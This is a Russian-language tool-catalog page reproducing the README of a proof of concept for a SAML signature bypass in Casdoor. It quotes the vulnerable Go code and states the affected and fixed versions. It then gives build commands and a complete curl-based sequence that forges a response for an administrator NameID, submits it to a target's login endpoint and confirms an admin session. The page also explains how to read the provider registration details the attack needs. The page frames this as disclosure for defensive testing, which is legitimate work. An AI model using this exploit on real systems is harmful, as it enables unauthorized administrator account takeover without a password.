Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-9090-poc — PoC для CVE-2026-9090 — обход подписи SAML в Casdoor (CWE-347). Только для воспроизведения; скоординировано через CERT/CC VU#780781. | Kitploit
Инструменты/GitHubGitHub/kimdir01/cve-2026-9090-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеАутентификация
GitHubkimdir01/cve-2026-9090-poc

CVE-2026-9090-poc

PoC для CVE-2026-9090 — обход подписи SAML в Casdoor (CWE-347). Только для воспроизведения; скоординировано через CERT/CC VU#780781.

Репозиторий
425 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-9090 — Обход подписи SAML в Casdoor (PoC)

Proof-of-concept для CVE-2026-9090 (CWE-347, Некорректная проверка криптографической подписи) — обход аутентификации в платформе идентификации Casdoor.

Авторство. CVE-2026-9090 был опубликован и скоординирован CERT/CC — см. VU#780781. Этот репозиторий — независимый, предназначенный только для воспроизведения proof-of-concept для уже публичной уязвимости; он не претендует на обнаружение этой проблемы.

Уязвимость

Когда Casdoor обрабатывает SAML-ответ на POST /api/acs (вход через внешнего SAML-провайдера), функция buildSpCertificateStore строит доверенный якорь подписи из <X509Certificate>, встроенного в сам входящий SAML-ответ, а не из сертификата, зарегистрированного для поставщика удостоверений.

root@kitploit:~
// object/saml_sp.go  (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
    certEncodedData := ""
    if samlResponse != "" {
        certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
    } else if provider.IdP != "" {
        certEncodedData = provider.IdP
    }
    ...
    certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}

Поскольку доверенный якорь берётся из ответа, злоумышленник может подписать SAML-утверждение собственным самоподписанным сертификатом, встроить этот сертификат в ответ — и подпись пройдёт проверку относительно самой себя. Установка NameID в значение существующего пользователя сопоставляет ответ с этой учётной записью: если это администратор, злоумышленник получает сессию администратора. Пароль не используется.

  • Затронутые версии: Casdoor <= 2.362.0
  • Исправлено: в более поздних выпусках хранилище строится только из зарегистрированного provider.IdP (buildSpCertificateStore(provider *Provider) больше не читает ответ). Обновитесь до актуальной версии.
  • Класс: CWE-347 — самореферентный доверенный якорь.

Что делает этот PoC

forge_saml.go собирает полный SAML Response, чьё Assertion подписано одноразовым самоподписанным ключом, а сертификат этого ключа встроен в <ds:KeyInfo><ds:X509Certificate>. Он использует ту же библиотеку goxmldsig, которую использует Casdoor, поэтому канонизация и формат подписи принимаются как есть.

Сборка

root@kitploit:~
go mod init cve-2026-9090-poc      # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go

Использование

root@kitploit:~
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
  --nameid [email protected] \
  --acs      http://TARGET:8000/api/acs \
  --audience http://TARGET:8000/api/acs \
  > forged.b64

# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
#    url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
  "http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
  -H 'Content-Type: application/json' \
  -d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}

# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'

APP, ORG и SAML_PROVIDER — это имя приложения, организация и SAML-провайдер, привязанный к этому приложению. Регистрационные данные приложения Casdoor (включая привязанные к нему провайдеры) доступны для чтения по адресу /api/get-application?id=admin/<name>.

Ответственное использование

Этот PoC опубликован для исправленной, публично раскрытой уязвимости и предназначен для защитного тестирования, разработки систем обнаружения (detection engineering) и исследований. Запускайте его только против систем, которые вам разрешено тестировать. Правильное устранение уязвимости — обновить Casdoor до версии, в которой buildSpCertificateStore выполняет проверку по зарегистрированному сертификату провайдера.

Ссылки

  • CERT/CC VU#780781 — https://kb.cert.org/vuls/id/780781
  • Casdoor — https://github.com/casdoor/casdoor
  • CWE-347 — https://cwe.mitre.org/data/definitions/347.html

Лицензия

MIT — см. LICENSE.

Скачать инструмент